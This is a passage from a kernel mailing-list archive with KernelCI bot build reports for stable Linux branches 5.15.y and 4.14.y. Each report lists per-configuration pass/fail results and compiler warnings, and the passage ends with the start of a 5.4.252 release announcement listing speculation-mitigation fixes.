arch/arm64/include/asm/memory.h:238:15: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
--------------------------------------------------------------------------------
haps_hs_smp_defconfig (arc, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
i386_defconfig (i386, gcc-10) — PASS, 0 errors, 2 warnings, 0 section mismatches
Warnings:
ld: arch/x86/boot/compressed/head_32.o: warning: relocation in read-only section `.head.text'
ld: warning: creating DT_TEXTREL in a PIE
--------------------------------------------------------------------------------
imx_v6_v7_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
multi_v5_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
Section mismatches:
WARNING: vmlinux.o(___ksymtab_gpl+vic_init_cascaded+0x0): Section mismatch in reference from the variable __ksymtab_vic_init_cascaded to the function .init.text:vic_init_cascaded()
--------------------------------------------------------------------------------
multi_v7_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
omap2plus_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
tinyconfig (x86_64, gcc-10) — PASS, 0 errors, 4 warnings, 0 section mismatches
Warnings:
arch/x86/entry/entry_64.S:1756: Warning: no instruction mnemonic suffix given and no register operands; using default for `sysret'
arch/x86/entry/entry_64.o: warning: objtool: .entry.text+0x151: unsupported intra-function call
ld: arch/x86/boot/compressed/head_64.o: warning: relocation in read-only section `.head.text'
ld: warning: creating DT_TEXTREL in a PIE
--------------------------------------------------------------------------------
tinyconfig (i386, gcc-10) — PASS, 0 errors, 2 warnings, 0 section mismatches
Warnings:
ld: arch/x86/boot/compressed/head_32.o: warning: relocation in read-only section `.head.text'
ld: warning: creating DT_TEXTREL in a PIE
--------------------------------------------------------------------------------
vexpress_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
x86_64_defconfig (x86_64, gcc-10) — PASS, 0 errors, 4 warnings, 0 section mismatches
Warnings:
arch/x86/entry/entry_64.o: warning: objtool: .entry.text+0x1c1: unsupported intra-function call
arch/x86/entry/entry_64.o: warning: objtool: If this is a retpoline, please patch it in with alternatives and annotate it with ANNOTATE_NOSPEC_ALTERNATIVE.
ld: arch/x86/boot/compressed/head_64.o: warning: relocation in read-only section `.head.text'
ld: warning: creating DT_TEXTREL in a PIE
--------------------------------------------------------------------------------
x86_64_defconfig+x86-chromebook (x86_64, gcc-10) — PASS, 0 errors, 4 warnings, 0 section mismatches
Warnings:
arch/x86/entry/entry_64.o: warning: objtool: .entry.text+0x1c1: unsupported intra-function call
arch/x86/entry/entry_64.o: warning: objtool: If this is a retpoline, please patch it in with alternatives and annotate it with ANNOTATE_NOSPEC_ALTERNATIVE.
ld: arch/x86/boot/compressed/head_64.o: warning: relocation in read-only section `.head.text'
ld: warning: creating DT_TEXTREL in a PIE
---
For more info write to <info(a)kernelci.org>
2 years, 4 months
- 1
- 0
stable/linux-5.15.y build: 116 builds: 1 failed, 115 passed, 4 errors, 9 warnings (v5.15.127)
by kernelci.org bot
stable/linux-5.15.y build: 116 builds: 1 failed, 115 passed, 4 errors, 9 warnings (v5.15.127)
Full Build Summary: https://kernelci.org/build/stable/branch/linux-5.15.y/kernel/v5.15.127/
Tree: stable
Branch: linux-5.15.y
Git Describe: v5.15.127
Git Commit: f6f7927ac664ba23447f8dd3c3dfe2f4ee39272f
Git URL: https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable.git
Built: 7 unique architectures
Build Failure Detected:
arm:
rpc_defconfig: (gcc-10) FAIL
Errors and Warnings Detected:
arc:
arm64:
arm:
rpc_defconfig (gcc-10): 4 errors
i386:
mips:
32r2el_defconfig (gcc-10): 1 warning
riscv:
x86_64:
x86_64_defconfig (gcc-10): 2 warnings
x86_64_defconfig+kselftest (gcc-10): 2 warnings
x86_64_defconfig+x86-chromebook (gcc-10): 2 warnings
x86_64_defconfig+x86-chromebook+kselftest (gcc-10): 2 warnings
Errors summary:
2 arm-linux-gnueabihf-gcc: error: unrecognized -march target: armv3m
2 arm-linux-gnueabihf-gcc: error: missing argument to ‘-march=’
Warnings summary:
4 arch/x86/lib/retpoline.o: warning: objtool: .altinstr_replacement: unexpected end of section
2 arch/x86/kernel/smp.o: warning: objtool: sysvec_reboot()+0x4d: unreachable instruction
2 arch/x86/kernel/smp.o: warning: objtool: sysvec_reboot()+0x45: unreachable instruction
1 arch/mips/boot/dts/img/boston.dts:128.19-178.5: Warning (pci_device_reg): /pci@14000000/pci2_root@0,0,0: PCI unit address format error, expected "0,0"
Section mismatches summary:
1 WARNING: modpost: vmlinux.o(___ksymtab_gpl+ixp4xx_irq_init+0x0): Section mismatch in reference from the variable __ksymtab_ixp4xx_irq_init to the function .init.text:ixp4xx_irq_init()
================================================================================
Detailed per-defconfig build reports:
--------------------------------------------------------------------------------
32r2el_defconfig (mips, gcc-10) — PASS, 0 errors, 1 warning, 0 section mismatches
Warnings:
arch/mips/boot/dts/img/boston.dts:128.19-178.5: Warning (pci_device_reg): /pci@14000000/pci2_root@0,0,0: PCI unit address format error, expected "0,0"
--------------------------------------------------------------------------------
allnoconfig (x86_64, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
allnoconfig (i386, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
am200epdkit_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
aspeed_g4_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
aspeed_g5_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
assabet_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
at91_dt_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
axm55xx_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
badge4_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
bcm2835_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
cerfcube_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
cm_x300_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
colibri_pxa270_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
colibri_pxa300_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
collie_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
corgi_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
davinci_all_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
defconfig (riscv, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
defconfig (arm64, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
defconfig+arm64-chromebook (arm64, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
defconfig+arm64-chromebook+kselftest (arm64, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
defconfig+kselftest (arm64, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
dove_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
ep93xx_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
eseries_pxa_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
exynos_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
ezx_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
footbridge_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
gemini_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
h3600_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
h5000_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
hackkit_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
haps_hs_smp_defconfig (arc, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
hisi_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
i386_defconfig (i386, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
imote2_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
imx_v4_v5_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
imx_v6_v7_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
integrator_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
iop32x_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
ixp4xx_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
Section mismatches:
WARNING: modpost: vmlinux.o(___ksymtab_gpl+ixp4xx_irq_init+0x0): Section mismatch in reference from the variable __ksymtab_ixp4xx_irq_init to the function .init.text:ixp4xx_irq_init()
--------------------------------------------------------------------------------
jornada720_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
keystone_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
lart_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
lpc18xx_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
lpc32xx_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
lpd270_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
lubbock_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
magician_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
mainstone_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
milbeaut_m10v_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
mini2440_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
mmp2_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
moxart_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
mps2_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
multi_v4t_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
multi_v5_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
multi_v7_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
multi_v7_defconfig+kselftest (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
mvebu_v5_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
mvebu_v7_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
mxs_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
neponset_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
netwinder_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
nhk8815_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
nommu_k210_defconfig (riscv, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
nommu_k210_sdcard_defconfig (riscv, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
omap1_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
omap2plus_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
orion5x_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
oxnas_v6_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
palmz72_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
pcm027_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
pleb_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
pxa168_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
pxa255-idp_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
pxa3xx_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
pxa910_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
pxa_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
qcom_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
realview_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
rpc_defconfig (arm, gcc-10) — FAIL, 4 errors, 0 warnings, 0 section mismatches
Errors:
arm-linux-gnueabihf-gcc: error: unrecognized -march target: armv3m
arm-linux-gnueabihf-gcc: error: missing argument to ‘-march=’
arm-linux-gnueabihf-gcc: error: unrecognized -march target: armv3m
arm-linux-gnueabihf-gcc: error: missing argument to ‘-march=’
--------------------------------------------------------------------------------
rv32_defconfig (riscv, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
s3c2410_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
s3c6400_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
s5pv210_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
sama5_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
sama7_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
shannon_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
shmobile_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
simpad_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
socfpga_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
spear13xx_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
spear3xx_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
spear6xx_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
spitz_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
stm32_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
sunxi_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
tct_hammer_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
tegra_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
tinyconfig (i386, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
tinyconfig (x86_64, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
trizeps4_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
u8500_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
versatile_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
vexpress_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
vf610m4_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
viper_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
vt8500_v6_v7_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
x86_64_defconfig (x86_64, gcc-10) — PASS, 0 errors, 2 warnings, 0 section mismatches
Warnings:
arch/x86/kernel/smp.o: warning: objtool: sysvec_reboot()+0x45: unreachable instruction
arch/x86/lib/retpoline.o: warning: objtool: .altinstr_replacement: unexpected end of section
--------------------------------------------------------------------------------
x86_64_defconfig+kselftest (x86_64, gcc-10) — PASS, 0 errors, 2 warnings, 0 section mismatches
Warnings:
arch/x86/lib/retpoline.o: warning: objtool: .altinstr_replacement: unexpected end of section
arch/x86/kernel/smp.o: warning: objtool: sysvec_reboot()+0x4d: unreachable instruction
--------------------------------------------------------------------------------
x86_64_defconfig+x86-chromebook (x86_64, gcc-10) — PASS, 0 errors, 2 warnings, 0 section mismatches
Warnings:
arch/x86/kernel/smp.o: warning: objtool: sysvec_reboot()+0x45: unreachable instruction
arch/x86/lib/retpoline.o: warning: objtool: .altinstr_replacement: unexpected end of section
--------------------------------------------------------------------------------
x86_64_defconfig+x86-chromebook+kselftest (x86_64, gcc-10) — PASS, 0 errors, 2 warnings, 0 section mismatches
Warnings:
arch/x86/kernel/smp.o: warning: objtool: sysvec_reboot()+0x4d: unreachable instruction
arch/x86/lib/retpoline.o: warning: objtool: .altinstr_replacement: unexpected end of section
--------------------------------------------------------------------------------
xcep_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
zeus_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
---
For more info write to <info(a)kernelci.org>
2 years, 4 months
- 1
- 0
stable/linux-4.14.y build: 16 builds: 0 failed, 16 passed, 21 warnings (v4.14.323)
by kernelci.org bot
stable/linux-4.14.y build: 16 builds: 0 failed, 16 passed, 21 warnings (v4.14.323)
Full Build Summary: https://kernelci.org/build/stable/branch/linux-4.14.y/kernel/v4.14.323/
Tree: stable
Branch: linux-4.14.y
Git Describe: v4.14.323
Git Commit: 80b73c056d2076d12f9e50c753bb440fc79f30c9
Git URL: https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable.git
Built: 6 unique architectures
Warnings Detected:
arc:
arm64:
arm:
i386:
allnoconfig (gcc-10): 3 warnings
i386_defconfig (gcc-10): 3 warnings
tinyconfig (gcc-10): 3 warnings
mips:
x86_64:
allnoconfig (gcc-10): 3 warnings
tinyconfig (gcc-10): 3 warnings
x86_64_defconfig (gcc-10): 3 warnings
x86_64_defconfig+x86-chromebook (gcc-10): 3 warnings
Warnings summary:
7 ld: warning: creating DT_TEXTREL in a PIE
4 ld: arch/x86/boot/compressed/head_64.o: warning: relocation in read-only section `.head.text'
4 Warning: synced file at 'tools/objtool/arch/x86/include/asm/insn.h' differs from latest kernel version at 'arch/x86/include/asm/insn.h'
3 ld: arch/x86/boot/compressed/head_32.o: warning: relocation in read-only section `.head.text'
3 arch/x86/entry/entry_32.S:480: Warning: no instruction mnemonic suffix given and no register operands; using default for `btr'
Section mismatches summary:
3 WARNING: modpost: Found 1 section mismatch(es).
================================================================================
Detailed per-defconfig build reports:
--------------------------------------------------------------------------------
32r2el_defconfig (mips, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
allnoconfig (i386, gcc-10) — PASS, 0 errors, 3 warnings, 0 section mismatches
Warnings:
arch/x86/entry/entry_32.S:480: Warning: no instruction mnemonic suffix given and no register operands; using default for `btr'
ld: arch/x86/boot/compressed/head_32.o: warning: relocation in read-only section `.head.text'
ld: warning: creating DT_TEXTREL in a PIE
--------------------------------------------------------------------------------
allnoconfig (x86_64, gcc-10) — PASS, 0 errors, 3 warnings, 0 section mismatches
Warnings:
Warning: synced file at 'tools/objtool/arch/x86/include/asm/insn.h' differs from latest kernel version at 'arch/x86/include/asm/insn.h'
ld: arch/x86/boot/compressed/head_64.o: warning: relocation in read-only section `.head.text'
ld: warning: creating DT_TEXTREL in a PIE
--------------------------------------------------------------------------------
defconfig (arm64, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
Section mismatches:
WARNING: modpost: Found 1 section mismatch(es).
--------------------------------------------------------------------------------
defconfig+arm64-chromebook (arm64, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
Section mismatches:
WARNING: modpost: Found 1 section mismatch(es).
--------------------------------------------------------------------------------
haps_hs_smp_defconfig (arc, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
i386_defconfig (i386, gcc-10) — PASS, 0 errors, 3 warnings, 0 section mismatches
Warnings:
arch/x86/entry/entry_32.S:480: Warning: no instruction mnemonic suffix given and no register operands; using default for `btr'
ld: arch/x86/boot/compressed/head_32.o: warning: relocation in read-only section `.head.text'
ld: warning: creating DT_TEXTREL in a PIE
--------------------------------------------------------------------------------
imx_v6_v7_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
multi_v5_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
Section mismatches:
WARNING: modpost: Found 1 section mismatch(es).
--------------------------------------------------------------------------------
multi_v7_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
omap2plus_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
tinyconfig (i386, gcc-10) — PASS, 0 errors, 3 warnings, 0 section mismatches
Warnings:
arch/x86/entry/entry_32.S:480: Warning: no instruction mnemonic suffix given and no register operands; using default for `btr'
ld: arch/x86/boot/compressed/head_32.o: warning: relocation in read-only section `.head.text'
ld: warning: creating DT_TEXTREL in a PIE
--------------------------------------------------------------------------------
tinyconfig (x86_64, gcc-10) — PASS, 0 errors, 3 warnings, 0 section mismatches
Warnings:
Warning: synced file at 'tools/objtool/arch/x86/include/asm/insn.h' differs from latest kernel version at 'arch/x86/include/asm/insn.h'
ld: arch/x86/boot/compressed/head_64.o: warning: relocation in read-only section `.head.text'
ld: warning: creating DT_TEXTREL in a PIE
--------------------------------------------------------------------------------
vexpress_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
x86_64_defconfig (x86_64, gcc-10) — PASS, 0 errors, 3 warnings, 0 section mismatches
Warnings:
Warning: synced file at 'tools/objtool/arch/x86/include/asm/insn.h' differs from latest kernel version at 'arch/x86/include/asm/insn.h'
ld: arch/x86/boot/compressed/head_64.o: warning: relocation in read-only section `.head.text'
ld: warning: creating DT_TEXTREL in a PIE
--------------------------------------------------------------------------------
x86_64_defconfig+x86-chromebook (x86_64, gcc-10) — PASS, 0 errors, 3 warnings, 0 section mismatches
Warnings:
Warning: synced file at 'tools/objtool/arch/x86/include/asm/insn.h' differs from latest kernel version at 'arch/x86/include/asm/insn.h'
ld: arch/x86/boot/compressed/head_64.o: warning: relocation in read-only section `.head.text'
ld: warning: creating DT_TEXTREL in a PIE
---
For more info write to <info(a)kernelci.org>
2 years, 4 months
- 1
- 0
Linux 5.4.252
by Greg Kroah-Hartman
-----------------
Note, PLEASE TEST this kernel if you are on the 5.4.y tree before using
it in a real workload. This was a quick release due to the obvious
security fixes in it, and as such, it has not had very much testing "in
the wild". Please let us know of any problems seen. Also note that the
user/kernel api for the new security mitigations might be changing over
time, so do not get used to them being fixed in stone just yet.
-----------------
I'm announcing the release of the 5.4.252 kernel.
All users of the 5.4 kernel series must upgrade.
The updated 5.4.y git tree can be found at:
git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable.git linux-5.4.y
and can be browsed at the normal kernel.org git web browser:
https://git.kernel.org/?p=linux/kernel/git/stable/linux-stable.git;a=summary
thanks,
greg k-h
------------
Documentation/ABI/testing/sysfs-devices-system-cpu | 11
Documentation/admin-guide/hw-vuln/gather_data_sampling.rst | 109 ++++++
Documentation/admin-guide/hw-vuln/index.rst | 1
Documentation/admin-guide/kernel-parameters.txt | 39 +-
Makefile | 2
arch/Kconfig | 3
arch/alpha/include/asm/bugs.h | 20 -
arch/arm/Kconfig | 1
arch/arm/include/asm/bugs.h | 4
arch/arm/kernel/bugs.c | 3
arch/ia64/Kconfig | 1
arch/ia64/include/asm/bugs.h | 20 -
arch/ia64/kernel/setup.c | 3
arch/m68k/Kconfig | 1
arch/m68k/include/asm/bugs.h | 21 -
arch/m68k/kernel/setup_mm.c | 3
arch/mips/Kconfig | 1
arch/mips/include/asm/bugs.h | 17 -
arch/mips/kernel/setup.c | 13
arch/parisc/include/asm/bugs.h | 20 -
arch/powerpc/include/asm/bugs.h | 15
arch/sh/Kconfig | 1
arch/sh/include/asm/bugs.h | 78 ----
arch/sh/include/asm/processor.h | 2
arch/sh/kernel/idle.c | 1
arch/sh/kernel/setup.c | 55 +++
arch/sparc/Kconfig | 1
arch/sparc/include/asm/bugs.h | 18 -
arch/sparc/kernel/setup_32.c | 7
arch/um/Kconfig | 1
arch/um/include/asm/bugs.h | 7
arch/um/kernel/um_arch.c | 3
arch/x86/Kconfig | 20 +
arch/x86/include/asm/bugs.h | 2
arch/x86/include/asm/cpufeature.h | 10
arch/x86/include/asm/cpufeatures.h | 18 -
arch/x86/include/asm/disabled-features.h | 4
arch/x86/include/asm/fpu/internal.h | 2
arch/x86/include/asm/mem_encrypt.h | 2
arch/x86/include/asm/msr-index.h | 12
arch/x86/include/asm/required-features.h | 4
arch/x86/kernel/cpu/amd.c | 3
arch/x86/kernel/cpu/bugs.c | 209 +++++++++----
arch/x86/kernel/cpu/common.c | 122 ++++++-
arch/x86/kernel/cpu/cpu.h | 2
arch/x86/kernel/cpu/scattered.c | 3
arch/x86/kernel/fpu/init.c | 8
arch/x86/kernel/smpboot.c | 1
arch/x86/kvm/cpuid.h | 1
arch/x86/kvm/x86.c | 5
arch/x86/mm/init.c | 7
arch/x86/xen/smp_pv.c | 2
arch/xtensa/include/asm/bugs.h | 18 -
drivers/base/cpu.c | 8
drivers/net/xen-netback/netback.c | 15
include/asm-generic/bugs.h | 11
include/linux/cpu.h | 6
include/linux/sched/task.h | 2
init/main.c | 21 -
kernel/fork.c | 37 +-
tools/arch/x86/include/asm/cpufeatures.h | 18 -
tools/arch/x86/include/asm/disabled-features.h | 3
tools/arch/x86/include/asm/required-features.h | 3
63 files changed, 659 insertions(+), 402 deletions(-)
Arnaldo Carvalho de Melo (1):
tools headers cpufeatures: Sync with the kernel sources
Borislav Petkov (AMD) (1):
x86/bugs: Increase the x86 bugs vector size to two u32s
Daniel Sneddon (4):
x86/speculation: Add Gather Data Sampling mitigation
x86/speculation: Add force option to GDS mitigation
x86/speculation: Add Kconfig option for GDS
KVM: Add GDS_NO support to KVM
Dave Hansen (1):
